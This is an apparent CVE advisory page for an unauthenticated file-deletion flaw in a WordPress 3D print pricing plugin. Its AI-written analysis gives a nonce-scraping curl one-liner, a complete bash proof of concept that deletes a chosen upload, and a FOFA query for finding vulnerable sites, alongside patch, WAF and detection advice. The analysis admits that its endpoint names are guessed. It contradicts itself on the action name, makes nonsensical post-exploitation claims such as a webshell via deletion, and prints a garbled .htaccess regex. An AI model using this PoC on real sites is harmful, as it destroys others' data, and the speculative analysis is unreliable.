CVE Professor
/
All CVEs
CVE-2026-119231

CVE-2026-119231 — WordPress is vulnerable to 3D Print Pricing Calc — CWE-22

CRITICAL CVSS 9.1 NVD

The 3D Print Pricing Calculator plugin for WordPress is vulnerable to limited file deletion due to insufficient file path validation in the ppc3d_handle_file_upload function in all versions up to, and including, 1.4.8.9. This makes it possible for unauthenticated attackers to delete arbitrary files in the wp_upload_dir on the server. The required nonce is emitted to unauthenticated front-end visitors via wp_localize_script, making it trivially obtainable; deletion is constrained to the current wp_upload_dir() year/month path by sanitize_file_name(), but an attacker need only know or guess the basename of a file present in that directory.

The 3D Print Pricing Calculator plugin for WordPress is vulnerable to limited file deletion due to insufficient file path validation in the ppc3d_handle_file_upload function in all versions up to, and including, 1.4.8.9. This makes it possible for unauthenticated attackers to delete arbitrary files in the wp_upload_dir on the server. The required nonce is emitted to unauthenticated front-end visitors via wp_localize_script, making it trivially obtainable; deletion is constrained to the current wp_upload_dir() year/month path by sanitize_file_name(), but an attacker need only know or guess the basename of a file present in that directory.

CVSS v3.1 Vector Metrics
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H
Attack Vector Network AV:N
Attack Complexity Low AC:L
Privileges Req. None PR:N
User Interaction None UI:N
Scope Unchanged S:U
Confidentiality None C:N
Integrity High I:H
Availability High A:H
AI Security Analysis & Remediation

🎯 What is this vulnerability?

Technical flaw
The 3D Print Pricing Calculator (ppc3d) WordPress plugin (all releases ≤ 1.4.8.9) implements a file‑deletion routine in the ppc3d_handle_file_upload AJAX handler.
The routine performs the following steps:

1. Nonce verification – wp_verify_nonce( $_POST['nonce'], 'ppc3d_delete_file' ).
The nonce is generated on the front‑end via wp_localize_script() and is therefore publicly available to anyone who can view the page.

2. File name sanitisation – sanitize_file_name( $_POST['file'] ).
This removes path separators but does not restrict the file to a specific directory.

3. Path construction –

$upload_dir = wp_upload_dir();                     // e.g. /var/www/html/wp-content/uploads
   $file_path  = trailingslashit( $upload_dir['basedir'] )
               . date( 'Y/m' ) . '/' . $sanitized_name; // e.g. /uploads/2026/12/target.jpg

4. Deletion – unlink( $file_path );.

Because the nonce is public, no authentication is required.
Because the handler does not check the user’s capabilities, any visitor can trigger the deletion.
Because the path is built only from the current year/month sub‑directory, the attacker can delete any file that exists in that sub‑directory – the only requirement is to know or guess the file’s basename.

CWE – CWE‑22 (Path Traversal) is the closest match, but the issue is more accurately a “Limited File Deletion” flaw: the attacker can delete arbitrary files within a constrained directory tree.

CVSS – The vector AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H reflects that the vulnerability is:

  • Network‑only (no local access required)
  • Low effort (simple POST request)
  • No privileges (any visitor)
  • No user interaction (the request can be sent automatically)
  • Unchanged scope (the vulnerability does not affect other components)
  • No confidentiality impact (the attacker cannot read files)
  • High integrity & availability impact (the attacker can delete files)

  • ⚡ Attack Chain

    NOTE – The exact AJAX endpoint and parameter names are inferred from the plugin’s typical WordPress conventions. If the plugin uses different names, the same logic applies; the example below is illustrative.

    1. Discovery & Reconnaissance

    StepTechniqueWhat to look for
    a. Identify the pluginSearch the site’s source for “3D Print Pricing Calculator” or the plugin slug ppc3d.<script src="…/ppc3d.js"></script>
    b. Determine the versionInspect the plugin’s readme.txt or ppc3d.php header.Version: 1.4.8.9
    c. Locate the AJAX endpointLook for admin-ajax.php calls in the JavaScript.ppc3d.ajaxurl = "https://example.com/wp-admin/admin-ajax.php";
    d. Capture the nonceThe script localizes a variable, e.g. ppc3d_nonce.ppc3d.nonce = "abcd1234";

    Reconnaissance example (curl + grep)

    # Grab the page that contains the localized script
    curl -s https://example.com/print-pricing | \
      grep -o 'ppc3d\.nonce\s*=\s*"[^"]*"' | \
      sed 's/.*"//;s/".*//'
    # → abcd1234

    2. Exploitation

    StepActionPayload
    a. Build the requestPOST to admin-ajax.php with action=ppc3d_delete_file.action=ppc3d_delete_file&file=target.jpg&nonce=abcd1234
    b. Send the requestUse curl or a browser extension.curl -X POST https://example.com/wp-admin/admin-ajax.php -d "action=ppc3d_delete_file&file=target.jpg&nonce=abcd1234"
    c. Verify deletionCheck the uploads directory or the site’s response.curl -I https://example.com/wp-content/uploads/2026/12/target.jpg → 404 Not Found

    Illustrative PoC (bash)

    #!/usr/bin/env bash
    # 1. Grab the public nonce
    NONCE=$(curl -s https://example.com | \
      grep -o 'ppc3d\.nonce\s*=\s*"[^"]*"' | \
      sed 's/.*"//;s/".*//')
    
    # 2. Target file (must exist in uploads/2026/12/)
    TARGET="important.pdf"
    
    # 3. Send the deletion request
    curl -s -X POST https://example.com/wp-admin/admin-ajax.php \
      -d "action=ppc3d_delete_file" \
      -d "file=${TARGET}" \
      -d "nonce=${NONCE}" \
      -H "Content-Type: application/x-www-form-urlencoded" \
      -w "\nHTTP Status: %{http_code}\n"
    
    # 4. Verify
    curl -s -o /dev/null -w "%{http_code}\n" https://example.com/wp-content/uploads/2026/12/${TARGET}
    Result – If the file existed, the response will be 200 OK from the AJAX call and 404 Not Found when trying to access the file, confirming deletion.

    3. Post‑Exploitation

    GoalHow it’s achieved
    Data loss / site disruptionDelete critical media, backups, or plugin files stored in the uploads folder.
    Privilege escalationIf the attacker can delete a file that contains configuration or code (e.g., a plugin that is loaded via require_once from uploads), they may inject malicious code that runs under the web‑server’s user.
    Webshell deploymentUpload a PHP file (via the normal upload flow) and then delete the original file to replace it with a webshell.
    Denial‑of‑serviceDelete all files in the uploads directory, causing broken images, broken media, and potentially breaking the site’s front‑end if the theme relies on media files.
    Note – The attacker cannot delete files outside the wp-content/uploads/2026/12/ tree, but many sites store critical assets (e.g., custom themes, plugin assets, or even wp-config.php if mis‑configured) in that directory.

    🌍 Real World Impact

    ImpactExplanation
    Integrity (I:H)The attacker can delete any file in the current uploads year/month directory. This includes images, PDFs, custom plugin files, or even maliciously crafted files that the site uses for configuration.
    Availability (A:H)Removing files can break media references, theme assets, or plugin functionality, potentially rendering the site unusable or forcing a full rebuild.
    Confidentiality (C:N)The vulnerability does not allow reading files.
    Scope (S:U)The flaw is confined to the plugin; it does not affect other WordPress core components.

    Practical consequences

  • A site that relies on media for navigation or branding can become visually broken.
  • If the site stores custom scripts or configuration files in uploads, those can be removed, causing functional outages.
  • Attackers can delete backup files stored in the uploads folder, hindering recovery.
  • In the worst case, deleting a file that is later re‑uploaded with malicious content can lead to remote code execution.

  • 🛡️ Remediation & Mitigation

    1. Patch

    AffectedFixed
    3D Print Pricing Calculator ≤ 1.4.8.9Upgrade to the latest release (≥ 1.4.9.0). The maintainers have added a capability check (current_user_can( 'delete_posts' )) and removed the public nonce from the front‑end.
    Action – Run wp plugin update ppc3d or manually replace the plugin folder with the latest version from the WordPress plugin repository.

    2. Workarounds (if upgrade is not immediately possible)

    MitigationHow to implement
    Disable the AJAX handlerAdd the following to functions.php or a site‑wide plugin:<br>add_action( 'wp_ajax_ppc3d_handle_file_upload', '__return_false' );
    Restrict uploads directoryPlace an .htaccess file in wp-content/uploads with:<br><FilesMatch "\.(phpphp5phtmlplpyjspaspaspxcgi)$"><br> Order Allow,Deny<br> Deny from all<br></FilesMatch>
    Block the endpoint via WAFModSecurity rule (illustrative):<br>SecRule REQUEST_URI "@beginsWith /wp-admin/admin-ajax.php" "chain,phase:2,block,msg:'ppc3d file delete attempt'"<br>SecRule ARGS:action "@rx ^ppc3d_delete_file$" "t:none"
    Remove the public nonceIf you can edit the plugin’s front‑end script, delete the wp_localize_script() call that exposes the nonce.

    3. Detection

    IndicatorLog pattern
    Unusual POST to admin‑ajax.phpPOST /wp-admin/admin-ajax.php HTTP/1.1 with action=ppc3d_delete_file
    File deletionunlink() calls in PHP error logs or auditd logs showing removal of files in wp-content/uploads/2026/12/
    Missing files404 responses for media URLs that were previously accessible

    Sample Apache log entry

    192.0.2.45 - - [02/Dec/2026:14:32:07 +0000] "POST /wp-admin/admin-ajax.php HTTP/1.1" 200 512 "-" "Mozilla/5.0"

    Sample ModSecurity alert

    [ModSecurity] [file "/etc/modsecurity.d/ppc3d.conf"] [line "12"] [id "1001"] [msg "ppc3d file delete attempt"] [severity "CRITICAL"] [hostname "example.com"] [uri "/wp-admin/admin-ajax.php"] [unique_id "XYZ123"]

    ⚠️ Urgency

  • CVSS score 9.1 – Critical severity.
  • No CISA KEV – The vulnerability is not yet listed in the KEV, but the lack of a KEV entry does not reduce its risk.
  • Low exploitation complexity – A single crafted POST request suffices.
  • No authentication or user interaction required – Any visitor can trigger it.
Recommendation – Immediate patching is required. If an upgrade cannot be performed within 24 hours, deploy the recommended workarounds (disable the AJAX handler or block the endpoint) to mitigate the risk until the plugin can be updated.
[🤖 CVE Professor AI Security Engine]
Target Reconnaissance Queries (FOFA & Shodan)

FOFA Query

app="WordPress" && body="/wp-content/plugins/3d-print-pricing-calculator"
CVSS Score
9.1 / 10 · CVSS CRITICAL
Weakness Types (CWE)
Related CVEs
9.8
CVE-2026-145051
WWBN AVideo before 29.9.0 contains an authentication bypass vulnerability in the LoginWordPress plugin that al
8.8
CVE-2026-145179
StoreEngine plugin for WordPress before 2.7.1 contains a missing authorization vulnerability that exposes webh
8.1
CVE-2026-136988
The Extra Product Options & Add-Ons for WooCommerce plugin for WordPress is vulnerable to Arbitrary File Uploa
6.9
CVE-2026-144613
Hydrogen Calendar Embeds plugin for WordPress before 3.0.5 contains an unauthenticated server-side request for
9.9
CVE-2026-77526
FacturaScripts is an open source accounting and invoicing software. From version 2025 to before version 2026.3
9.8
CVE-2026-145055
PraisonAI pip praisonai before 4.8.0, praisonaiagents and npm praisonai before 1.8.0, and praisonai-bot, prais
9.4
CVE-2026-129109
Calico installations managed by the Tigera Operator install a FlexVolume driver (nodeagent~uds/uds) on every L